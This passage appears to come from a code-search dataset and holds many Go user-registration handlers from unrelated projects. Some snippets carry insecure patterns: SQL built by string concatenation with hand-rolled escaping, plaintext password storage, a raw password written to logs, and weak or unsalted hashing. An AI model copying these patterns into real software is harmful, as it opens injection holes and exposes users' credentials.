!= nil {\n\t\t\tLog.WithField(\"module\", \"handler\").WithError(result.Error)\n\t\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\n\t\t\treturn\n\t\t}\n\n\t}\n\n\t//Create permission entry for new user in permissions table\n\tresult = env.db.Save(&perms)\n\tif result.Error != nil {\n\t\tLog.WithField(\"module\", \"sql\").WithError(result.Error)\n\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\n\t\treturn\n\t}\n\n\tuser.Username = request.Username\n\tuser.Password = request.Password\n\tuser.AvatarID = \"default\"\n\tuser.PermID = perms.ID\n\tuser.UserGroups = append(user.UserGroups, &defaultGroup)\n\tuser.ResetCode = utils.GenerateCode()\n\n\t//Save new user to users database\n\tresult = env.db.Save(&user)\n\tif result.Error != nil {\n\t\tLog.WithField(\"module\", \"sql\").WithError(result.Error)\n\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ001)\n\t\treturn\n\t}\n\n\t//Generate JWT AccessToken\n\taccessToken, err := utils.JWTAuthService(config.JWTAccessSecret).GenerateToken(user.ID, request.DeviceID, time.Hour*24)\n\tif err != nil {\n\t\tLog.WithField(\"module\", \"jwt\").WithError(err)\n\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.AUTH002)\n\t\treturn\n\t}\n\n\t//Add AccessToken to Redis\n\terr = env.rdis.AddPair(fmt.Sprint(user.ID), accessToken, time.Hour*24)\n\tif err != nil {\n\t\tLog.WithField(\"module\", \"redis\").WithError(err).Error(\"Error adding AccessToken to Redis.\")\n\t\terr = nil\n\t}\n\n\t//Generate RefreshToken\n\trefreshToken, err := utils.JWTAuthService(config.JWTRefreshSecret).GenerateToken(user.ID, request.DeviceID, time.Hour*24)\n\tif err != nil {\n\t\tLog.WithField(\"module\", \"jwt\").WithError(err)\n\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.AUTH002)\n\t\treturn\n\t}\n\n\tuser.RefreshToken = refreshToken\n\n\t//Save RefreshToken to Database\n\tresult = env.db.Save(&user)\n\tif result.Error != nil {\n\t\tLog.WithField(\"module\", \"sql\").WithError(result.Error)\n\t\tc.AbortWithStatusJSON(http.StatusInternalServerError, errs.DBSQ002)\n\t\treturn\n\t}\n\n\tc.JSON(200, registerResponse{AccessToken: accessToken, RefreshToken: refreshToken, User: user, ResetCode: user.ResetCode})\n}","func (AuthenticationController) Register(c *gin.Context) {\n\tvar registrationPayload forms.RegistrationForm\n\tif validationErr := c.BindJSON(&registrationPayload); validationErr != nil {\n\t\tutils.CreateError(c, http.StatusBadRequest, validationErr.Error())\n\t\treturn\n\t}\n\tif hashedPass, hashErr := utils.EncryptPassword(registrationPayload.Password); hashErr != nil {\n\t\tutils.CreateError(c, http.StatusInternalServerError, \"Failed to hash password.\")\n\t} else {\n\t\tregistrationPayload.Password = hashedPass\n\t\tuser, prismaErr := client.CreateUser(prisma.UserCreateInput{\n\t\t\tEmail: registrationPayload.Email,\n\t\t\tName: registrationPayload.Name,\n\t\t\tUsername: registrationPayload.Username,\n\t\t\tPassword: registrationPayload.Password,\n\t\t\tRole: prisma.RoleDefault,\n\t\t}).Exec(contextB)\n\n\t\tif prismaErr != nil {\n\t\t\tlog.Print(prismaErr)\n\t\t\tutils.CreateError(c, http.StatusNotAcceptable, \"Failed to save profile.\")\n\t\t\treturn\n\t\t}\n\t\t// setting session keys\n\t\tsession := sessions.Default(c)\n\t\tsession.Set(\"uuid\", user.ID)\n\t\tsession.Set(\"email\", user.Email)\n\t\tsession.Set(\"username\", user.Username)\n\t\tsession.Set(\"role\", string(user.Role))\n\n\t\tif sessionErr := session.Save(); sessionErr != nil {\n\t\t\tutils.CreateError(c, http.StatusInternalServerError, sessionErr.Error())\n\t\t\tc.Abort()\n\t\t\treturn\n\t\t}\n\t\tc.JSON(http.StatusOK, gin.H{\n\t\t\t\"name\": user.Name,\n\t\t\t\"username\": user.Username,\n\t\t\t\"role\": user.Role,\n\t\t})\n\t}\n}","func Registration(w http.ResponseWriter, r *http.Request) {\n\n\tbody, _ := ioutil.ReadAll(r.Body)\n\n\tuser := models.User{}\n\terr := json.Unmarshal(body, &user)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\tuser.Prepare()\n\terr = user.Validate(\"login\")\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\ttoken, err := auth.SignUp(user.Email, user.Password)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\tresponses.JSON(w, http.StatusOK, token)\n}","func Register(g *gin.Context) {\n\t// init visitor User struct to validate request\n\tuser := new(models.User)\n\t/**\n\t* get request and parse it to validation\n\t* if there any error will return with message\n\t */\n\terr := validations.RegisterValidate(g, user)\n\t/***\n\t* return response if there an error if true you\n\t* this mean you have errors so we will return and bind data\n\t */\n\tif helpers.ReturnNotValidRequest(err, g) {\n\t\treturn\n\t}\n\t/**\n\t* check if this email exists database\n\t* if this email found will return\n\t */\n\tconfig.Db.Find(&user, \"email = ? \", user.Email)\n\tif user.ID != 0 {\n\t\thelpers.ReturnResponseWithMessageAndStatus(g, 400, \"this email is exist!\", false)\n\t\treturn\n\t}\n\t//set type 2\n\tuser.Type = 2\n\tuser.Password, _ = helpers.HashPassword(user.Password)\n\t// create new user based on register struct\n\tconfig.Db.Create(&user)\n\t// now user is login we can return his info\n\thelpers.OkResponse(g, \"Thank you for register in our system you can login now!\", user)\n}","func SignUp(db *gorm.DB, _ *redis.Client, _ http.ResponseWriter, r *http.Request, s *status.Status) (int, error) {\n\ts.Message = status.SignupFailure\n\tcredStatus := status.CredentialStatus{}\n\tcreds, isValidCred := verifyCredentials(r)\n\thashedPass, hashErr := Hash(creds.Password)\n\tif !(isValidCred == nil && hashErr == nil) {\n\t\tcredStatus.Username = status.UsernameAlphaNum\n\t\tcredStatus.Email = status.ValidEmail\n\t\tcredStatus.Password = status.PasswordRequired\n\t\ts.Data = credStatus\n\t\treturn http.StatusUnprocessableEntity, nil\n\t}\n\tcreds.Password = hashedPass\n\tuser := model.NewUser()\n\tunameAvailable := !SingleRecordExists(db, model.UserTable, model.UsernameColumn, creds.Username, user)\n\temailAvailable := !SingleRecordExists(db, model.UserTable, model.EmailColumn, creds.Email, user)\n\tif unameAvailable && emailAvailable {\n\t\terr := createUser(db, creds, user)\n\t\tif err != nil {\n\t\t\treturn http.StatusInternalServerError, fmt.Errorf(http.StatusText(http.StatusInternalServerError))\n\t\t}\n\t\ts.Code = status.SuccessCode\n\t\ts.Message = status.SignupSuccess\n\t\treturn http.StatusCreated, nil\n\t}\n\tif !unameAvailable {\n\t\tcredStatus.Username = status.UsernameExists\n\t}\n\tif !emailAvailable {\n\t\tcredStatus.Email = status.EmailExists\n\t}\n\ts.Data = credStatus\n\treturn http.StatusConflict, nil\n}","func (m Users) Register(user User) error {\n\tif !isValidPass(user.Password) {\n\t\treturn ErrInvalidPass\n\t}\n\tif !validEmail.MatchString(user.Email) {\n\t\treturn ErrInvalidEmail\n\t}\n\thash, err := hashPassword(user.Password)\n\tif err != nil {\n\t\treturn err\n\t}\n\tsqlStatement := `INSERT INTO users (email, password) VALUES($1, $2) RETURNING id, created_at;`\n\t_, err = m.DB.Exec(sqlStatement, user.Email, hash)\n\tif err, ok := err.(*pq.Error); ok {\n\t\tif err.Code == \"23505\" {\n\t\t\treturn ErrUserAlreadyExist\n\t\t}\n\t}\n\n\treturn err\n}","func (ctrl *UserController) Register(c *gin.Context) {\n\t// Validate the form\n\tvar form auth.RegisterForm\n\tif errs := shouldBindJSON(c, &form); errs != nil {\n\t\tc.AbortWithStatusJSON(http.StatusNotAcceptable, *errs)\n\t\treturn\n\t}\n\n\t// Check if the email is taken.\n\tif ctrl.Repository.EmailTaken(form.Email) {\n\t\tc.AbortWithStatusJSON(http.StatusNotAcceptable, utils.Err(\"A user with this email already exists\"))\n\t\treturn\n\t}\n\n\t// Create the user.\n\tuser, err := ctrl.Repository.RegisterUser(form)\n\tif err != nil {\n\t\tc.JSON(http.StatusInternalServerError, utils.Err(\"Failed to register user\"))\n\t\treturn\n\t}\n\n\tgenerateTokens(c, user.ID, user.TokenVersion, user)\n}","func (auth *Authstore) Save(p Principal) error {\n\n\tif err:= p.validate(); err != nil {\n\t\treturn err\n\t}\n\n\tif user, ok := p.(User); ok {\n\t\t//fail if user email already registered \n\t\tif user.Email() != \"\" {\n\t\t\tuserByEmailInfo := auth.GetUserByEmail(user.Email())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif (userByEmailInfo.Name() != user.Name()) {\n\t\t\t\t\t//raise error \n\t\t\t\treturn errors.New(\"User email already registered\")\n\t\t\t}\n\t\t}\n\t}\n\n\terr = auth.bucket.Insert (\"principals\", &p)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\n\t//base.LogTo(\"Auth\", \"Saved %s: %s\", p._id, data)\n\treturn nil \n\n}","func (u User) Store(r *http.Request, db *sql.DB) (Credentials, error) {\n\t// create new credentials\n\tcreds := Credentials{\n\t\tcrypt.RandomString(credentialLen),\n\t\tcrypt.RandomString(credentialKeyLen),\n\t}\n\n\tvar DBUser User\n\t_ = DBUser.GetWithUUID(r, db, u.UUID) // doesn't matter if error just means there is no previous user with UUID\n\tif len(DBUser.UUID) > 0 {\n\t\tif len(DBUser.Credentials.Key) == 0 && len(DBUser.Credentials.Value) > 0 {\n\t\t\tLog(r, log.InfoLevel, fmt.Sprintf(\"Credential reset for: %s\", crypt.Hash(u.UUID)))\n\n\t\t\t// language=PostgreSQL\n\t\t\tquery := \"UPDATE users SET credential_key = $1 WHERE UUID = $2\"\n\t\t\t_, err := db.Exec(query, crypt.PassHash(creds.Key), crypt.Hash(u.UUID))\n\t\t\tif err != nil {\n\t\t\t\tLog(r, log.ErrorLevel, err.Error())\n\t\t\t\treturn Credentials{}, err\n\t\t\t}\n\t\t\tcreds.Value = \"\"\n\t\t\treturn creds, nil\n\t\t} else if len(DBUser.Credentials.Key) == 0 && len(DBUser.Credentials.Value) == 0 {\n\t\t\tLog(r, log.InfoLevel, fmt.Sprintf(\"Account reset for: %s\", crypt.Hash(u.UUID)))\n\n\t\t\t// language=PostgreSQL\n\t\t\tquery := \"UPDATE users SET credential_key = $1, credentials = $2 WHERE UUID = $3\"\n\t\t\t_, err := db.Exec(query, crypt.PassHash(creds.Key), crypt.Hash(creds.Value), crypt.Hash(u.UUID))\n\t\t\tif err != nil {\n\t\t\t\tLog(r, log.ErrorLevel, err.Error())\n\t\t\t\treturn Credentials{}, err\n\t\t\t}\n\t\t\treturn creds, nil\n\t\t}\n\t}\n\n\tisNewUser := true\n\tif len(DBUser.Credentials.Value) > 0 {\n\t\t// UUID already exists\n\t\tif len(u.Credentials.Key) > 0 && IsValidCredentials(u.Credentials.Value) {\n\t\t\t// If client passes current details they are asking for new Credentials.\n\t\t\t// Verify the Credentials passed are valid\n\t\t\tif u.Verify(r, db) {\n\t\t\t\tisNewUser = false\n\t\t\t} else {\n\t\t\t\tLog(r, log.WarnLevel, fmt.Sprintf(\"Client passed credentials that were invalid: %s\", crypt.Hash(u.Credentials.Value)))\n\t\t\t\treturn Credentials{}, errors.New(\"Unable to create new credentials.\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// update users Credentials\n\tquery := \"\"\n\tif isNewUser {\n\t\t// create new user\n\t\t// language=PostgreSQL\n\t\tquery = \"INSERT INTO users (credentials, credential_key, firebase_token, UUID) VALUES ($1, $2, $3, $4)\"\n\t} else {\n\t\t// update user\n\t\t// language=PostgreSQL\n\t\tquery = \"UPDATE users SET credentials = $1, credential_key = $2, firebase_token = $3 WHERE UUID = $4\"\n\t}\n\n\t_, err := tdb.Exec(r, db, query, crypt.Hash(creds.Value), crypt.PassHash(creds.Key), u.FirebaseToken, crypt.Hash(u.UUID))\n\tif err != nil {\n\t\treturn Credentials{}, err\n\t}\n\treturn creds, nil\n}","func (r *apiV1Router) Register(ctx *gin.Context) {\n\tname := ctx.PostForm(\"name\")\n\temail := ctx.PostForm(\"email\")\n\tpassword := ctx.PostForm(\"password\")\n\n\tif len(name) == 0 || len(email) == 0 || len(password) == 0 {\n\t\tr.logger.Warn(\"one of name, email or password not specified\", zap.String(\"name\", name), zap.String(\"email\", email), zap.String(\"password\", password))\n\t\tmodels.SendAPIError(ctx, http.StatusBadRequest, \"request must include the user's name, email and passowrd\")\n\t\treturn\n\t}\n\n\t_, err := r.userService.GetUserWithEmail(ctx, email)\n\tif err == nil {\n\t\tr.logger.Warn(\"email taken\", zap.String(\"email\", email))\n\t\tmodels.SendAPIError(ctx, http.StatusBadRequest, \"email taken\")\n\t\treturn\n\t}\n\n\tif err != services.ErrNotFound {\n\t\tr.logger.Error(\"could not query for user with email\", zap.String(\"email\", email), zap.Error(err))\n\t\tmodels.SendAPIError(ctx, http.StatusInternalServerError, \"something went wrong while creating new user\")\n\t\treturn\n\t}\n\n\thashedPassword, err := auth.GetHashForPassword(password)\n\tif err != nil {\n\t\tr.logger.Error(\"could not make hash for password\", zap.Error(err))\n\t\tmodels.SendAPIError(ctx, http.StatusInternalServerError, \"something went wrong while creating new user\")\n\t\treturn\n\t}\n\n\tuser, err := r.userService.CreateUser(ctx, name, email, hashedPassword, r.cfg.BaseAuthLevel)\n\tif err != nil {\n\t\tr.logger.Error(\"could not create user\",\n\t\t\tzap.String(\"name\", name),\n\t\t\tzap.String(\"email\", email),\n\t\t\tzap.Int(\"auth level\", int(r.cfg.BaseAuthLevel)),\n\t\t\tzap.Error(err))\n\t\tmodels.SendAPIError(ctx, http.StatusInternalServerError, \"something went wrong while creating new user\")\n\t\treturn\n\t}\n\n\temailToken, err := auth.NewJWT(*user, time.Now().Unix(), r.cfg.AuthTokenLifetime, auth.Email, []byte(r.env.Get(environment.JWTSecret)))\n\tif err != nil {\n\t\tr.logger.Error(\"could not generate JWT token\",\n\t\t\tzap.String(\"user id\", user.ID.Hex()),\n\t\t\tzap.Bool(\"JWT_SECRET set\", r.env.Get(environment.JWTSecret) != environment.DefaultEnvVarValue),\n\t\t\tzap.Error(err))\n\t\tmodels.SendAPIError(ctx, http.StatusInternalServerError, \"something went wrong while creating new user\")\n\t\tr.userService.DeleteUserWithEmail(ctx, email)\n\t\treturn\n\t}\n\terr = r.emailService.SendEmailVerificationEmail(*user, emailToken)\n\tif err != nil {\n\t\tr.logger.Error(\"could not send email verification email\",\n\t\t\tzap.String(\"user email\", user.Email),\n\t\t\tzap.String(\"noreply email\", r.cfg.Email.NoreplyEmailAddr),\n\t\t\tzap.Bool(\"SENDGRID_API_KEY set\", r.env.Get(environment.SendgridAPIKey) != environment.DefaultEnvVarValue),\n\t\t\tzap.Error(err))\n\t\tmodels.SendAPIError(ctx, http.StatusInternalServerError, \"something went wrong while creating new user\")\n\t\tr.userService.DeleteUserWithEmail(ctx, email)\n\t\treturn\n\t}\n\n\tctx.JSON(http.StatusOK, registerRes{\n\t\tResponse: models.Response{\n\t\t\tStatus: http.StatusOK,\n\t\t},\n\t\tUser: *user,\n\t})\n}","func (api *API) Signup(ctx *gin.Context) {\n\t// Unmarshall the 'signup' request body.\n\tvar signup Signup\n\terr := ctx.BindJSON(&signup)\n\tif err != nil {\n\t\tctx.JSON(http.StatusBadRequest, gin.H{\"errorMessage\": fmt.Sprintf(\"%s\", err)})\n\t\treturn\n\t}\n\n\tuserExists, err := api.db.HasUser(ctx, signup.Login.Email)\n\tif err != nil {\n\t\tctx.JSON(http.StatusInternalServerError, gin.H{\"errorMessage\": fmt.Sprintf(\"%s\", err)})\n\t\treturn\n\t}\n\n\tif userExists {\n\t\tctx.JSON(http.StatusConflict, gin.H{\"errorMessage\": \"User already registered.\"})\n\t} else {\n\t\t// Check password strength.\n\t\tpwd := signup.Password\n\t\terr := validate(pwd)\n\t\tif err != nil {\n\t\t\tctx.JSON(http.StatusBadRequest, gin.H{\"errorMessage\": fmt.Sprintf(\"%s\", err)})\n\t\t\treturn\n\t\t}\n\n\t\t// Create a new User.\n\t\tid := uuid.New().String()\n\t\tvar user = User{\n\t\t\tID: string(id),\n\t\t\tEmail: signup.Email,\n\t\t\tName: signup.Name,\n\t\t}\n\n\t\t// Create a new Credential.\n\t\thash, err := bcrypt.GenerateFromPassword([]byte(pwd), bcrypt.MinCost)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\t\tvar cred = Credential{\n\t\t\tUserID: user.ID,\n\t\t\tPassword: string(hash),\n\t\t}\n\n\t\t// Save new user and credential entities.\n\t\terr = api.db.CreateUser(ctx, user)\n\t\tif err != nil {\n\t\t\tctx.JSON(http.StatusBadRequest, gin.H{\"errorMessage\": fmt.Sprintf(\"%s\", err)})\n\t\t\treturn\n\t\t}\n\t\terr = api.db.CreateCredential(ctx, cred)\n\t\tif err != nil {\n\t\t\tctx.JSON(http.StatusBadRequest, gin.H{\"errorMessage\": fmt.Sprintf(\"%s\", err)})\n\t\t\treturn\n\t\t}\n\n\t\tctx.Status(http.StatusOK)\n\t}\n}","func (s *AuthServer) Register(ctx context.Context, r *pb.RegisterRequest) (*pb.RegisterResponse, error) {\n\tusername := r.GetUsername()\n\temail := r.GetEmail()\n\tpassword := r.GetPassword()\n\tregisterResponse := actions.Register(username, email, password)\n\treturn &pb.RegisterResponse{Ok: registerResponse}, nil\n}","func SignUp(firstname string, lastname string, email string, phoneNumber string, password string) bool {\n\n\tdb := connect()\n\n\toutput := true\n\n\tif strings.Contains(firstname, \"'\") || strings.Contains(lastname, \"'\") || strings.Contains(email, \"'\") || strings.Contains(phoneNumber, \"'\") || strings.Contains(password, \"'\") {\n\t\tfirstname = strings.Replace(firstname, \"'\", \"\\\\'\", -1)\n\t\tlastname = strings.Replace(lastname, \"'\", \"\\\\'\", -1)\n\t\temail = strings.Replace(email, \"'\", \"\\\\'\", -1)\n\t\tphoneNumber = strings.Replace(phoneNumber, \"'\", \"\\\\'\", -1)\n\t\tpassword = strings.Replace(password, \"'\", \"\\\\'\", -1)\n\t}\n\n\tres, _, err := db.Query(\"SELECT * FROM customer WHERE email = '\" + email + \"'\")\n\n\tif err != nil {\n\t\tfmt.Println(\"Database Query Error:\", err)\n\t}\n\n\tif len(res) != 0 {\n\t\toutput = false\n\t} else {\n\t\tdb.Query(\"INSERT INTO customer (firstName, lastName, email, phoneNumber) VALUES ('\" + firstname + \"', '\" + lastname + \"', '\" + email + \"', '\" + phoneNumber + \"')\")\n\n\t\tdb.Query(\"INSERT INTO account (userName, password, customerId) SELECT '\" + email + \"', '\" + password + \"', id FROM customer WHERE email='\" + email + \"'\")\n\t}\n\n\tdisconnect(db)\n\n\treturn output\n}","func (user User) Register(c appengine.Context) (User, error) {\n\n\t// If existing user return error\n\tpotential_user, err := getUserFromUsername(c, user.Username)\n\tif err != nil {\n\t\treturn user, err\n\t}\n\n\tif potential_user != (User{}) {\n\t\treturn user, errors.New(\"User with this username exists\")\n\t}\n\n\thashed_password, err := bcrypt.GenerateFromPassword([]byte(user.Password), COST)\n\tif err != nil {\n\t\treturn user, err\n\t}\n\tuser.Password = string(hashed_password)\n\n\t// save the user\n\tkey := datastore.NewIncompleteKey(c, \"Users\", nil)\n\t_, err = datastore.Put(c, key, &user)\n\n\tif err != nil {\n\t\treturn user, err\n\t}\n\n\treturn user, nil\n}","func (ah *AuthHandler) Register(ctx *gin.Context) {\n\tvar user *model.User\n\terr := ctx.Bind(&user)\n\tif err != nil {\n\t\tctx.JSON(http.StatusBadRequest, response.ErrorResponse{\n\t\t\tMessage: err.Error(),\n\t\t})\n\t\treturn\n\t}\n\n\t_, err = ah.Service.GetByEmail(ctx, user.Email)\n\tif err == nil {\n\t\tctx.JSON(http.StatusBadRequest, response.ErrorResponse{\n\t\t\tMessage: \"user already exists\",\n\t\t})\n\t\treturn\n\t}\n\n\tif err != pgx.ErrNoRows {\n\t\tctx.JSON(http.StatusBadRequest, response.ErrorResponse{\n\t\t\tMessage: err.Error(),\n\t\t})\n\t\treturn\n\t}\n\n\tuser.Password = hashSHA256(user.Password)\n\n\terr = ah.Service.Store(ctx, user)\n\tif err != nil {\n\t\tctx.JSON(http.StatusInternalServerError, response.ErrorResponse{\n\t\t\tMessage: err.Error(),\n\t\t})\n\t\treturn\n\t}\n\n\tctx.JSON(http.StatusOK, user)\n}","func RegisterUser(db *gorm.DB, w http.ResponseWriter, r *http.Request) {\n\tfmt.Println(\"register\")\n\truser := model.RUser{}\n\tdecoder := json.NewDecoder(r.Body)\n\tif err := decoder.Decode(&ruser); err != nil {\n\t\tRespondError(w, http.StatusBadRequest, \"\")\n\t\tlog.Println(\"decode:\", err.Error())\n\t\treturn\n\t}\n\tdefer r.Body.Close()\n\n\thashedPassword, err := bcrypt.GenerateFromPassword([]byte(ruser.Password), 8)\n\tif err != nil {\n\t\tRespondError(w, http.StatusInternalServerError, \"\")\n\t\tlog.Println(\"hash:\", err.Error())\n\t\treturn\n\t}\n\n\tid, err := uuid.NewUUID()\n\tif err != nil {\n\t\tRespondError(w, http.StatusInternalServerError, \"\")\n\t}\n\n\tuser := model.User{\n\t\tName: ruser.Name,\n\t\tUsername: ruser.Username,\n\t\tPassword: string(hashedPassword),\n\t\tUUID: id.String(),\n\t}\n\n\tif err := db.Save(&user).Error; err != nil {\n\t\tRespondError(w, http.StatusInternalServerError, \"\")\n\t\tlog.Println(\"save:\", err.Error())\n\t\treturn\n\t}\n\tRespondJSON(w, http.StatusCreated, user)\n}","func Register(user models.User) (string, bool, error){\n\tctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)\n\t\n\tdefer cancel()\n\n\tdb := MongoClient.Database(\"test-api-go\")\n\tcol := db.Collection(\"users\")\n\n\tuser.Password, _ = PasswordEncrypt(user.Password)\n\n\tresult, err := col.InsertOne(ctx, user)\n\n\tif err != nil {\n\t\treturn \"\", false, err\n\t}\n\n\tObjID, _ := result.InsertedID.(primitive.ObjectID)\n\treturn ObjID.String(), true, nil\n}","func (c *CognitoFlow) Register(w http.ResponseWriter, r *http.Request) {\n\ttype userdata struct {\n\t\tUsername string `json:\"username\"`\n\t\tPassword string `json:\"password\"`\n\t\tEmail string `json:\"email\"`\n\t}\n\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\thttp.Error(w, \"\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\tvar userd userdata\n\terr = json.Unmarshal(body, &userd)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n\n\tusername := userd.Username\n\tlog.Infof(\"username: %v\", username)\n\tpassword := userd.Password\n\tif len(password) > 0 {\n\t\tlog.Infof(\"password is %d characters long\", len(password))\n\t}\n\temail := userd.Email\n\tlog.Infof(\"email: %v\", email)\n\n\tuser := &cognitoidentityprovider.SignUpInput{\n\t\tUsername: &username,\n\t\tPassword: &password,\n\t\tClientId: aws.String(c.AppClientID),\n\t\tUserAttributes: []*cognitoidentityprovider.AttributeType{\n\t\t\t{\n\t\t\t\tName: aws.String(\"email\"),\n\t\t\t\tValue: &email,\n\t\t\t},\n\t\t},\n\t}\n\n\toutput, err := c.CognitoClient.SignUp(user)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\t/*if !*output.UserConfirmed {\n\t\tlog.Error(\"user registration failed\")\n\t\thttp.Error(w, \"\", http.StatusInternalServerError)\n\t\treturn\n\t}*/\n\tdata, err := json.Marshal(output)\n\tif err != nil {\n\t\tlog.Error(\"user registration failed\")\n\t\thttp.Error(w, \"\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\tw.WriteHeader(http.StatusOK)\n\tw.Write(data)\n}","func createHandler(w http.ResponseWriter, r *http.Request) {\n user := new(User)\n user.Token = validateToken(r.FormValue(\"token\"))\n user.PasswordHash = validateHash(r.FormValue(\"passHash\"))\n user.PublicKey = validatePublicKey(r.FormValue(\"publicKey\"))\n user.PublicHash = computePublicHash(user.PublicKey)\n user.CipherPrivateKey = validateHex(r.FormValue(\"cipherPrivateKey\"))\n\n log.Printf(\"Woot! New user %s %s\\n\", user.Token, user.PublicHash)\n\n if !SaveUser(user) {\n http.Error(w, \"That username is taken\", http.StatusBadRequest)\n }\n}","func Register(client httpclient.IHttpClient, ctx context.Context, lobby, email, password, challengeID, lang string) error {\n\tif lang == \"\" {\n\t\tlang = \"en\"\n\t}\n\tvar payload struct {\n\t\tCredentials struct {\n\t\t\tEmail string `json:\"email\"`\n\t\t\tPassword string `json:\"password\"`\n\t\t} `json:\"credentials\"`\n\t\tLanguage string `json:\"language\"`\n\t\tKid string `json:\"kid\"`\n\t}\n\tpayload.Credentials.Email = email\n\tpayload.Credentials.Password = password\n\tpayload.Language = lang\n\tjsonPayloadBytes, err := json.Marshal(&payload)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq, err := http.NewRequest(http.MethodPut, \"https://\"+lobby+\".ogame.gameforge.com/api/users\", strings.NewReader(string(jsonPayloadBytes)))\n\tif err != nil {\n\t\treturn err\n\t}\n\tif challengeID != \"\" {\n\t\treq.Header.Add(ChallengeIDCookieName, challengeID)\n\t}\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\treq.Header.Add(\"Accept-Encoding\", \"gzip, deflate, br\")\n\treq.WithContext(ctx)\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode == http.StatusConflict {\n\t\tgfChallengeID := resp.Header.Get(ChallengeIDCookieName) // c434aa65-a064-498f-9ca4-98054bab0db8;https://challenge.gameforge.com\n\t\tif gfChallengeID != \"\" {\n\t\t\tparts := strings.Split(gfChallengeID, \";\")\n\t\t\tchallengeID := parts[0]\n\t\t\treturn NewCaptchaRequiredError(challengeID)\n\t\t}\n\t}\n\tby, err := utils.ReadBody(resp)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar res struct {\n\t\tMigrationRequired bool `json:\"migrationRequired\"`\n\t\tError string `json:\"error\"`\n\t}\n\tif err := json.Unmarshal(by, &res); err != nil {\n\t\treturn errors.New(err.Error() + \" : \" + string(by))\n\t}\n\tif res.Error == \"email_invalid\" {\n\t\treturn ErrEmailInvalid\n\t} else if res.Error == \"email_used\" {\n\t\treturn ErrEmailUsed\n\t} else if res.Error == \"password_invalid\" {\n\t\treturn ErrPasswordInvalid\n\t} else if res.Error != \"\" {\n\t\treturn errors.New(res.Error)\n\t}\n\treturn nil\n}","func Register(c *gin.Context) {\n\tusername := c.PostForm(\"username\")\n\tpassword := c.PostForm(\"password\")\n\temail := c.PostForm(\"email\")\n\tif !store.ValidUser(username, password, email) {\n\t\tuser, err := store.RegisterUser(username, password, email)\n\t\tif err != nil || user == nil {\n\t\t\tc.HTML(http.StatusBadRequest, \"register.html\", gin.H{\n\t\t\t\t\"ErrorTitle\": \"Registration Failed\",\n\t\t\t\t\"ErrorMessage\": err.Error()})\n\t\t} else {\n\t\t\t//if user is created successfully we generate cookie token\n\t\t\ttoken := generateSessionToken()\n\t\t\tc.SetCookie(\"token\", token, 3600, \"\", \"\", false, true)\n\t\t\tc.Set(\"is_logged_in\", true)\n\n\t\t\trender(c, gin.H{\n\t\t\t\t\"title\": \"Successful registration & Login\"}, \"register-successful.html\")\n\t\t}\n\t} else {\n\t\t//if new user information is not valid\n\t\t//we generate errors\n\t\tc.HTML(http.StatusBadRequest, \"register.html\", gin.H{\n\t\t\t\"ErrorTitle\": \"Invalid user information\",\n\t\t\t\"ErrorMessage\": errors.New(\"Invalid user information\").Error()})\n\t}\n}","func (u *User) Save() *errors.RestErr {\n\tcurrent := usersDB[u.Id]\n\tif current != nil {\n\t\tif current.Email == u.Email {\n\t\t\treturn errors.NewBadRequestError(fmt.Sprintf(\"email %s already registerd\", u.Email))\n\t\t}\n\t\treturn errors.NewBadRequestError(\"user already exists\")\n\t}\n\n\tu.DateCreated = date_utils.GetNowString()\n\n\tusersDB[u.Id] = u\n\treturn nil\n}","func (a *App) Register(w http.ResponseWriter, r *http.Request) {\n\tvar registerInfo uvm.UserRegisterVM\n\n\tdecoder := json.NewDecoder(r.Body)\n\tvar err error\n\n\tif err = decoder.Decode(&registerInfo); err != nil {\n\t\trespondWithError(w, http.StatusBadRequest, \"Invalid request body\")\n\t\treturn\n\t}\n\n\t//TODO validate user data\n\n\tregisterInfo.Password, err = utils.HashPassword(registerInfo.Password)\n\n\tif err != nil {\n\t\trespondWithError(w, http.StatusInternalServerError, \"Could not register user\")\n\t\treturn\n\t}\n\n\tvar user models.User\n\n\tuser, err = a.UserStore.AddUser(registerInfo)\n\n\tif err != nil {\n\t\trespondWithError(w, http.StatusInternalServerError, err.Error())\n\t}\n\n\ttoken := auth.GenerateToken(a.APISecret, user)\n\n\tresult := models.UserResult{\n\t\tUsername: user.Username,\n\t\tPicture: user.Picture,\n\t\tRole: user.Role.Name,\n\t\tToken: token,\n\t}\n\n\trespondWithJSON(w, http.StatusOK, result)\n}","func (a *Auth) RegisterProvider(ctx context.Context, req *pb.ProviderRegisterRequest) (*pb.Response, error) {\n\tspan := jtrace.Tracer.StartSpan(\"register-provider\")\n\tdefer span.Finish()\n\tspan.SetTag(\"register\", \"register provider\")\n\n\t// hash password for store into DB\n\tpassword, err := cript.Hash(req.GetPassword())\n\tif err != nil {\n\t\treturn &pb.Response{Message: fmt.Sprintf(\"ERROR: %s\", err.Error()), Status: &pb.Status{Code: http.StatusInternalServerError, Message: \"FAILED\"}}, status.Errorf(codes.Internal, \"error in hash password: %s\", 